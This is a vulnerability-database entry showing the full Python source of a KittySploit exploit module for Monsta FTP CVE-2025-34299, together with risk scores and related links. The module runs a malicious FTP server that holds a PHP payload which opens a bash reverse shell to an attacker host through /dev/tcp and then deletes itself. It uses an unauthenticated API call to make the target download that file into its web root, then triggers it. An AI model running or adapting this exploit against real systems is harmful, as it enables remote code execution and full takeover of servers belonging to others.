Lucene search
+L

Monsta FTP CVE-2025-34299

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Arbitrary file download from Monsta FTP leading to RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-34299
19 Nov 202500:39
–githubexploit
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Monstaftp Monsta_Ftp
11 Dec 202503:42
–githubexploit
circl
Circl
CVE-2025-34299
7 Nov 202510:26
–circl
cnnvd
CNNVD
Monsta FTP 代码问题漏洞
7 Nov 202500:00
–cnnvd
cve
CVE
CVE-2025-34299
7 Nov 202513:51
–cve
cvelist
Cvelist
CVE-2025-34299 Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload
7 Nov 202513:51
–cvelist
euvd
EUVD
EUVD-2025-38247
7 Nov 202513:51
–euvd
hackread
HackRead
Monsta FTP Vulnerability Exposed Thousands of Servers to Full Takeover
10 Nov 202510:53
–hackread
kitploit
Kitploit
CVE-2025-34299-lab
10 Oct 202604:05
–kitploit
kitploit
Kitploit
CVE-2025-34299
10 Oct 202619:55
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.ftp.ftp_server import Ftp_server
import json
import os
import random
import string
import tempfile
import threading
import time

class Module(Exploit):
    
    __info__ = {
        "name": "Monsta FTP CVE-2025-34299",
        "description": "Monsta FTP - Arbitrary file download from malicious FTP server leading to RCE (CVE-2025-34299)",
        "author": "KittySploit Team",
        "cve": "CVE-2025-34299",
        "platform": Platform.MULTI,
        "arch": [Arch.PHP],
        "references": [
            "CVE-2025-34299",
            "https://github.com/monsta-ftp/monsta-ftp"
        ],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": "php",
            "platform": "php",
            "category": "singles"
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }
    
    target = OptString("http://localhost", "Target Monsta FTP URL (with http://)", required=True)
    ftp_host = OptString("0.0.0.0", "FTP server bind host", required=True)
    ftp_port = OptPort(2121, "FTP server port", required=True)
    
    def __init__(self, framework=None):
        super().__init__(framework)
        self.ftp_server = None
        self.ftp_thread = None
        self.ftp_dir = None
        self.cleanup_needed = False
    
    def _check_dependencies(self):
        """Check if required dependencies are available"""
        if not Ftp_server.dependencies_available():
            print_error("pyftpdlib is required but not installed")
            print_info("Install it with: pip install pyftpdlib")
            return False
        return True
    
    def _start_ftp_server(self):
        """Start malicious FTP server with payload"""
        try:
            # Create temporary directory for FTP server
            self.ftp_dir = tempfile.mkdtemp()
            self.cleanup_needed = True
            
            # Generate random filename for payload
            random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
            payload_file = os.path.join(self.ftp_dir, random_filename)
            
            # Extract listener info from payload
            if not hasattr(self, 'lhost') or not self.lhost:
                print_error("lhost not set. Please set a payload first.")
                return None, None, None
            
            lhost = str(self.lhost)
            lport = int(self.lport) if hasattr(self, 'lport') and self.lport else 4444
            
            # Generate reverse shell payload
            payload = f"<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'\"); unlink($f); ?>"
            
            with open(payload_file, 'wb') as f:
                f.write(payload.encode())
            
            # Generate random FTP credentials
            user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
            pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))

            # Setup and start FTP server
            self.ftp_server = Ftp_server(
                framework=self.framework,
                host=self.ftp_host,
                port=self.ftp_port,
                root_dir=self.ftp_dir,
                username=user,
                password=pwd,
                banner="FTP Server Ready - KittySploit",
            )
            ok, err = self.ftp_server.start()
            if not ok:
                print_error(f"Failed to start FTP server: {err}")
                return None, None, None
            
            time.sleep(1)  # Give server time to start
            
            print_success(f"FTP server started on {self.ftp_host}:{self.ftp_port}")
            print_info(f"FTP credentials: {user}:{pwd}")
            print_info(f"Payload file: /{random_filename}")
            
            return f"/{random_filename}", user, pwd
            
        except Exception as e:
            print_error(f"Failed to start FTP server: {e}")
            return None, None, None
    
    def _stop_ftp_server(self):
        """Stop FTP server and cleanup"""
        try:
            if self.ftp_server:
                self.ftp_server.stop()
                print_info("FTP server stopped")
        except:
            pass
        
        try:
            if self.ftp_dir and self.cleanup_needed:
                import shutil
                shutil.rmtree(self.ftp_dir, ignore_errors=True)
                print_info("Temporary FTP directory cleaned up")
        except:
            pass
    
    def check(self):
        """Check if target is vulnerable"""
        try:
            target = self.target.rstrip('/')
            api_url = f"{target}/application/api/api.php"
            
            print_info(f"Checking {api_url}...")
            
            # Try to access the API endpoint
            try:
                import requests
                import urllib3
                urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
                
                response = requests.get(api_url, timeout=10, verify=False)
                
                if response.status_code == 200:
                    return {
                        'vulnerable': True,
                        'reason': 'API endpoint is accessible',
                        'confidence': 'medium'
                    }
                else:
                    return {
                        'vulnerable': False,
                        'reason': f'API endpoint returned status {response.status_code}',
                        'confidence': 'medium'
                    }
            except requests.exceptions.RequestException as e:
                return {
                    'vulnerable': False,
                    'reason': f'Cannot connect to API: {e}',
                    'confidence': 'low'
                }
                
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {e}',
                'confidence': 'low'
            }
    
    def run(self):
        """Execute the exploit"""
        try:
            # Check dependencies
            if not self._check_dependencies():
                fail.Message("Required dependencies not available")
                return False
            
            target = self.target.rstrip('/')
            api_url = f"{target}/application/api/api.php"
            
            print_info(f"Target: {target}")
            print_info(f"API URL: {api_url}")
            
            # Start malicious FTP server
            remote_path, ftp_user, ftp_pwd = self._start_ftp_server()
            if not remote_path:
                fail.Message("Failed to start FTP server")
                return False
            
            # Generate random local filename
            local_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
            
            # Prepare exploit request
            request_data = {
                "connectionType": "ftp",
                "configuration": {
                    "host": self.ftp_host,
                    "username": ftp_user,
                    "initialDirectory": "/",
                    "password": ftp_pwd,
                    "port": self.ftp_port
                },
                "actionName": "downloadFile",
                "context": {
                    "remotePath": remote_path,
                    "localPath": local_filename
                }
            }
            
            print_info("Sending exploit request to API...")
            print_info(f"Remote path: {remote_path}")
            print_info(f"Local filename: {local_filename}")
            
            try:
                import requests
                import urllib3
                urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
                
                response = requests.post(
                    api_url,
                    data={"request": json.dumps(request_data)},
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    timeout=30,
                    verify=False
                )
                
                try:
                    response_data = response.json()
                except (json.JSONDecodeError, ValueError):
                    print_error(f"Invalid JSON response: {response.text[:200]}")
                    self._stop_ftp_server()
                    fail.Message("Invalid response from server")
                    return False
                
                if response.status_code == 200 and response_data.get("success"):
                    payload_url = f"{target}/application/api/{local_filename}"
                    print_success(f"Payload uploaded successfully: {payload_url}")
                    print_info("Triggering reverse shell (payload will self-delete)...")
                    
                    # Trigger the payload
                    try:
                        requests.get(payload_url, timeout=5, verify=False)
                    except:
                        pass
                    
                    print_success("Exploit executed successfully")
                    print_info("Waiting for reverse shell connection...")
                    
                    # The listener will be managed by ExploitBase
                    # Don't stop FTP server yet, wait for connection
                    return True
                else:
                    print_error(f"Exploit failed: {response.text[:200]}")
                    self._stop_ftp_server()
                    fail.Message("Server did not accept the request")
                    return False
                    
            except requests.exceptions.RequestException as e:
                print_error(f"Request failed: {e}")
                self._stop_ftp_server()
                fail.Message(f"Request failed: {e}")
                return False
                
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            self._stop_ftp_server()
            fail.Message(f"Exploitation failed: {e}")
            return False
        finally:
            # Schedule cleanup after a delay to allow connection to be established
            # The FTP server will be cleaned up after the listener gets the connection
            # or after the exploit timeout expires
            def delayed_cleanup():
                time.sleep(60)  # Wait 60 seconds for connection
                if self.ftp_server:
                    print_info("Cleaning up FTP server...")
                    self._stop_ftp_server()
            
            cleanup_thread = threading.Thread(target=delayed_cleanup, daemon=True)
            cleanup_thread.start()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 49.3
EPSS0.7268
SSVC
0